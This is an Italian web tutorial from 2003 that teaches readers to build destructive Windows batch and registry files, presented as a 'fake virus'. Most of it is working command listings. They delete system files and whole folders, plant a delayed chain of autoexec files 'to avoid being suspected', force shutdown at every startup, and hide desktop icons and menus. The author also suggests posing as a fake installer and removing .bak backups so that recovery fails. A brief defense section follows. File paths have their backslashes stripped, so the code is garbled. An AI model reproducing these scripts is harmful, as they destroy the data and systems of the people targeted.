Fake virus

Venerdì 05 Settembre 2003 00:00 amministratore 8045 Visite
Stampa
How To Create a "fake" (but dangerous) virus!

N.B.
I programmi descritti di seguito non possono essere considerati veri e propri virus perché non vengono scritti utilizzando un linguaggio di programmazione, ma sono dei files funzionanti a tutti gli effetti.

Premessa/Disclaimer:
Questo testo è da intendersi solamente come un breve "manuale di programazione", al suo interno, infatti, verrà spiegato in modo semplice come creare un file ".bat" o un file di registro di windows che esegua le operazioni da noi richieste...

Per poter capire pienamente le tecniche spiegate di seguito, bisogna prima avere una conoscenza minima dei files più importanti che compongono il nostro pc e delle tecniche di utilizzo e la creazione di files di registro e ".bat".

Credo che molti dei lettori di questo file abbiano già le conoscenze adeguate in materia, ma facciamo prima un piccolo riepilogo:

Un file ".bat", può essere creato con un qualsiasi editor testuale (anche il blocco note va benissimo) e non contiene altro che dei comandi MS-DOS. Una volta creato un file di testo che contiene i comandi che vogliamo, sarà sufficiente salvarlo e cambiare la sua estensione da ".txt" a ".bat". Per visualizzare il contenuto (e quindi le operazioni che deve compiere) di un file di questo tipo, è sufficiente cliccare su di esso con il pulsante destro del mouse e scegliere il comando "modifica" dal menu che comparirà.

Un file di registro (la terminologia non è proprio esatta, ma io preferisco chiamarli così...), invece è un file che contiene le informazioni e i comandi da inserire nel registro di windows. È riconoscibile dall"estensione ".reg".

Per eventuali informazioni sul funzionamento del registro o sui comandi ms-dos, potete cercare i files corrispondenti nella sezione "testi" di "www.wildfamily.cjb.net".

Adesso vediamo quali sono i files "vitali" per il nostro computer: "Autoexec.bat", "Config.sys" (che vengono caricati prima dell"avvio di Windows), "Command.com" (in pratica sarebbe la shell dos), "Win.com" (secondo voi cos"è"), "Win.ini" (che contiene memorizzate tutte le impostazioni di Windows) e le cartelle "C:Windows" e "C:WindowsSystem"... Naturalmente danneggiando "per caso" uno qualsiasi di questi files o directory il computer avrà dei seri problemi all"avvio anzi quasi sicuramente non riuscirà ad avviarsi.

Partiamo con la spiegazione di una delle tecniche più semplici ma per questo anche più brutale per danneggiare un computer, l"eliminazione di uno di questi files: per fare questo normalmente in dos utilizzeremmo il comando "del" e in un file ".bat" noi faremo la stessa cosa. Vediamo come creare un file che rimuova i files autoexec.bat, "win.com" e "win.ini":
(in rosso abbiamo i commenti e in blu i comandi)

cd si sposta alla directory principale (c:), in questo modo funziona indipendentemente dalla directory nella quale è inserito
del autoexec.bat cancella il file indicato
cd windows si sposta nella cartella c:windows
del win.com
del win.ini

Adesso salviamo il file e lo rinominiamo come spiegato sopra.

Se vogliamo eliminare una cartella, dobbiamo prima svuotarla, quindi una volta al suo interno useremo il comando del *.* per cancellare tutti i files qualunque sia l"estensione. Fatto questo usciamo dalla cartella e la rimuoviamo; vediamo come rimuovere il contenuto della cartella c:windowssystem:

cd
cd windowssystem entra nella cartella indicata
del *.* rimuove tutti i files all"interno della directory
cd.. esce dalla directory (in questo caso andremo a finire in c:windows)
rd system rimuove la cartella indicata (solo se si trova all"interno della directory in cui siamo.)

Un altro sistema può essere quello di rinominare files e cartelle utilizzando un file simile al seguente:

cd
ren *.bat *.wfk cambia l"estensione dei files indicati con quella digitata a fianco
cd windows
ren *.dll *.abc

Con i files descritti fino ad ora, il "danno" viene provocato immediatamente, in questo modo le operazioni indicate faranno effetto al prossimo riavvio di windows; questo può essere utili in alcuni casi, ma a volte vogliamo fare in modo che l"attacco abbbia effetto dopo alcuni cicli di accensione e spegnimento del pc, magari per evitare di venire sospettati, come fare" Non possiamo impostare direttamente la data in cui verrà eseguito il file "dannoso", ma possiamo utilizzare una tecnica che ha discreti risultati:
(la tecnica ha bisogno di più files)

ecco lo schema del primo file da eseguire. (in questo caso verrà eseguito da un floppy come possiamo vedere dalla posizione di partenza a:)
copy a: a.bat c: il file "a.bat" che si trova nel drive floppy, viene copiato nella directory c:
copy a: b.bat c: la stessa cosa viene fatta per tutti gli altri files.
copy a: c.bat c:
copy a: d.bat c:
copy a: e.bat c:
copy a: f.bat c:
copy a: g.bat c:
cd ci spostiamo nella directory root
del autoexec.bat cancelliamo l" "autoexec.bat" originale
ren c:a.bat autoexec.bat e gli sostituiamo il nostro file

adesso vediamo la struttura di "a.bat":

SET windir=C:WINDOWS
SET winbootdir=C:WINDOWS
SET COMSPEC=C:WINDOWSCOMMAND.COM
SET PATH=C:WINDOWS;C:WINDOWSCOMMAND
SET PROMPT=$p$g questa è la struttura di un file autoexec.bat "originale"
SET TEMP=C:WINDOWSTEMP
SET TMP=C:WINDOWSTEMP
SET MIDI=SYNTH:1 MAP:E
SET SOUND=C:PROGRA~1CREATIVECTSND
SET BLASTER=A220 I5 D1 H5 P330 T6
ren c:autoexec.bat a.bat rendiamo nuovamente "inoffensivo" il primo file
ren c:.bat autoexec.bat impostiamo il secondo file come prossimo autoexec

Il secondo file sarà identico nella parte "originale" (che io ho copiato da un pc della mia scuola...) ma le ultime due righe cambieranno, infatti i files da rinominare saranno b e c invece di a e b. Andiamo avanti così fino a completare la catena, l"ultimo file però sarà diverso, questo sarà infatti il file che danneggerà il sistema e che creeremo come vogliamo.

Naturalmente esistono anche tecniche che creano danni minori, per esempio la seguente:

:uno apre una "fase"
echo qui andrà il nostro messaggio... questa operazione viene eseguita all"interno della fase
goto :uno richiama la fase che abbiamo creato

Avvierà un ciclo infinito nel quale verrà ripetuto il messaggio che abbiamo inserito o verrà compiuta l"operazione da noi indicata.
Bisogna però notare che un file di questo tipo (come tutti i bat) può essere terminato premendo ctrl+c.

Vediamo invece che succede se creiamo un file ".bat" come il seguente:

cd
cd "WINDOWSMenu AvvioProgrammiEsecuzione automatica"
echo rundll32.exe user,exitwindows > nomefile.bat creiamo un file bat con i comandi specificati

Così, sarà praticamente impossibile usare il pc... "Esecuzione automatica" è infatti la cartella che contiene tutti i files da caricare all"avvio di Windows e noi abbiamo creato al suo interno un file ".bat" che richiama rundll32.exe con il parametro che comanda l"uscita da Windows! Possiamo usare questa tecnica con altri parametri e quindi ottenere risultati diversi.

Fino ad ora però abbiamo visto solo la struttura di files elementari, adesso vediamo cosa possiamo fare per migliorarli:

Il comando @ECHO OFF permette di non visualizzare la riga di comando alla partenza del file, il simbolo @ posto prima di un comando, non visualizzerà la richiesta del comando stesso; abbiamo poi le funzioni di choice (scelta) che permettono di svolgere operazioni diverse dopo aver ricevuto una determinata risposta.

Vediamo l"esempio seguente...

@ECHO OFF non visualizziamo la riga di comando per rimanere "nascosti"
@cd i comandi preceduti da @ sono invisibili
@ren *.bat *.123
choice /c:SN /n CANCELLARE TUTTI I FILES DELLA CARTELLA" Sì No adesso abbiamo la domanda
if errorlevel 2 goto ok se scegliamo no andiamo alla fase "ok"
if errorlevel 1 goto del se scegliamo si andiamo a "del"
:ok
exit all"interno di questa fase abbiamo solo il comando per l"uscita dal file
:del
@del *.* in questa fase invece cancelliamo tutti i files presenti nella cartella
exit

Questo file, dopo aver eseguito il comando rinomina, fa una domanda alla quale possiamo rispondere soltanto si o no e agisce diversamente in base alla risposta.
Dobbiamo parlare però anche del registro di Windows... la sintassi di un file importabile nel registro è la seguente: abbiamo la parola REGEDIT4, poi fra parentesi quadre il nome della chiave, indicato con la directory completa e la dichiarazione del nome della stringa (fra virgolette) e del suo valore. Quando apriremo il file, i valori indicati verranno modificati o creati. Per esempio il file
REGEDIT4
[HKEY_CURRENT_USERControl PanelDesktop] percorso completo "ScreenSaveUsePassword"=dword:00000000 la stringa da modificare
ci permette di rimuovere la password dello screensaver.

Basta quindi curiosare all"interno del registro e sapere dove mettere le mani per poter creare dei files abbastanza utili al nostro scopo. Vediamo un po" quali possono essere delle sottochiavi abbastanza utili:
KEY_LOCAL_MACHINEsoftwaremicrosoftwindowscurrentversion un
KEY_LOCAL_MACHINEsoftwaremicrosoftwindowscurrentversion unservices
Per esempio contengono I nomi e I percorsi di tutti I files caricati all"avvio di Windows;
HKEY_CURRENT_USERSoftwarePoliciesMicrosoftInternet ExplorerRestrictions contiene alcune opzioni di explorer come le seguenti:
NoBrowserClose : disabilita l'opzione di chiudere internet explorer.
NoBrowserContextMenu : disabilita il menu del click destro.
NoBrowserOptions : disabilità gli strumenti / menu opzioni di internet.
NoBrowserSaveAs : disabilita l'abilità di salvare come.
NoFavorites : disabilita I favoriti.
NoFileNew : disabilita il comando file/nuovo.
NoFileOpen : disabilita il comando file/apri.
NoFindFiles : disabilita il comando trova file.
NoSelectDownloadDir : disabilita l'opzione di selezionare un directory di download.
NoTheaterMode : disabilita l'opzione schermo intero.
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer ci permette di nascondere tutte le icone del desktop, semplicemente aggiungendo valore dword chiamato "NoDesktop" e impostando il suo valore a 1.
Se invece I valori che creiamo sono "NoFind" e "NoRun" e li impostiamo a 1, rimuoviamo dal menu avvio le opzioni "trova" o "esegui".

Una volta scritto un file testuale con i comandi da eseguire e rinominato in ".reg", abbiamo il nostro bel file importabile dal registro. Naturalmente con il valore 1 la funzione viene eseguita, ma per bloccarla basta inserire il valore 0 (come nell"esempio dello screensaver).

Analizziamo adesso il seguente file ".bat":

@echo REGEDIT4 >wasp.reg crea un file chiamato wasp.reg e al suo interno scrive REGEDIT4
@echo >>wasp.reg aggiunge una riga vuota
@echo [HKEY_CURRENT_USERControl PanelDesktop] >>wasp.reg
@echo"ScreenSaveTimeOut"="840" >>wasp.reg
@echo"ScreenSaveActive"="1" >>wasp.reg tutti quesi comandi aggiungono il testo indicato
@echo"ScreenSaveUsePassword"=dword:00000000 >>wasp.reg
@echo"ScreenSave_Data"=hex:31,46,41,46,32,35,34,44,00 >>wasp.reg
@regedit.exe wasp.reg adesso eseguiamo il file "wasp.reg"

cosa fa" In pratica creerà lui al posto nostro il file importabile dal registro da utilizzare per un eventuale attacco evitando di utilizzare più files per attaccare un pc.

Vediamo quindi come fare per creare un programma che dopo aver cancellato tutti i files "*.dll" dalla directory windows, rimuove tutte le icne del desktop:

@ECHO OFF
@cd
@cd windows
@del *.dll
@echo REGEDIT4 >abc.reg
@echo >>abc.reg
@echo [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer] >>abc.reg
@echo "NoDesktop"= dword:00000001 >>abc.reg
@regedit.exe abc.reg

Lo schema di funzionamento è abbastanza semplice e utilizzando questa "tecnica mista" possiamo ottenere files molto dannosi ma anche files divertenti ma che non producono danno. Per creare però un buon programma possiamo aggiungere delle righe di testo nelle quali ad esempio chiediamo di riavviare il computer perché è terminata l"installazione di un falso programma ecc.

Non rimane molto da dire sulla struttura di questi files, l"unico consiglio che posso dare è quello di studiare ogni dettaglio del registro per essere in grado di compiere operazioni sempre più utili o dannose, anche dal punto di vista della sicurezza. Un altro consiglio riguarda i files ".bak": questi files sono delle copie di backup dei principali files di sistema e vengono creati dal S.O. e a volte anche da programmi di manutenzione come ad esempio le Norton Utilities o simili. Se il computer si rende conto che qualcosa non va nel file autoexec.bat, al suo posto userà l"autoexec.bak e quindi il nostro tentativo di attacco non avrà effetto. Credo che si possa aggirare il problema con il sistema dei files a catena spiegato qualche pagina fa, ma è sempre meglio aggiungere una riga di comando per la loro rimozione.

Vediamo adesso come difendersi, dato che questi files non possono essere trovati dagli antivirus non essendo dei veri programmi... Per prima cosa possiamo fare una copia di tutti i files vitali del sistema (non utilizzando però estensioni comuni o l"estensione ".bak"), in questo modo saremo in grado di risolvere eventuali problemi con la sostituzione dei files danneggiati, poi non dobbiamo dimenticare che il contenuto dei files ".reg" e dei files ".bat" può essere visto cliccando con il pulsante destro del mouse. Se vogliamo invece utilizzare l"editor del registro o qualche altro programma dopo che il nostro desktop è stato "freezato" (togliendo le icone, i comandi esegui e trova e nascondendo i drives), basterà cliccare sul desktop con il pulsante destro del mouse e creare un nuovo collegamento al programma che ci serve. Inoltre ogni file ".bat" può essere interrotto premendo ctrl+c.

Note:
I programmi che possiamo creare usando i comandi dos anche se non sono in grado di farci usare tecniche molto raffinate, permettono di danneggiare seriamente un computer e possono essere usati solo per causare del danno fine a se steso. È inutile dire quindi che il loro utilizzo senza un reale motivo (anche se sadicamente divertente), è del tutto ingiustificato e inutile.


That's all, folks!!!

Gr33t|ngz: pisike, wfk, pdm, tm²f, ArTaN & the travel mates

Fuck|ngz: Digilander, Libero, winXP & the mtv generation
Tags: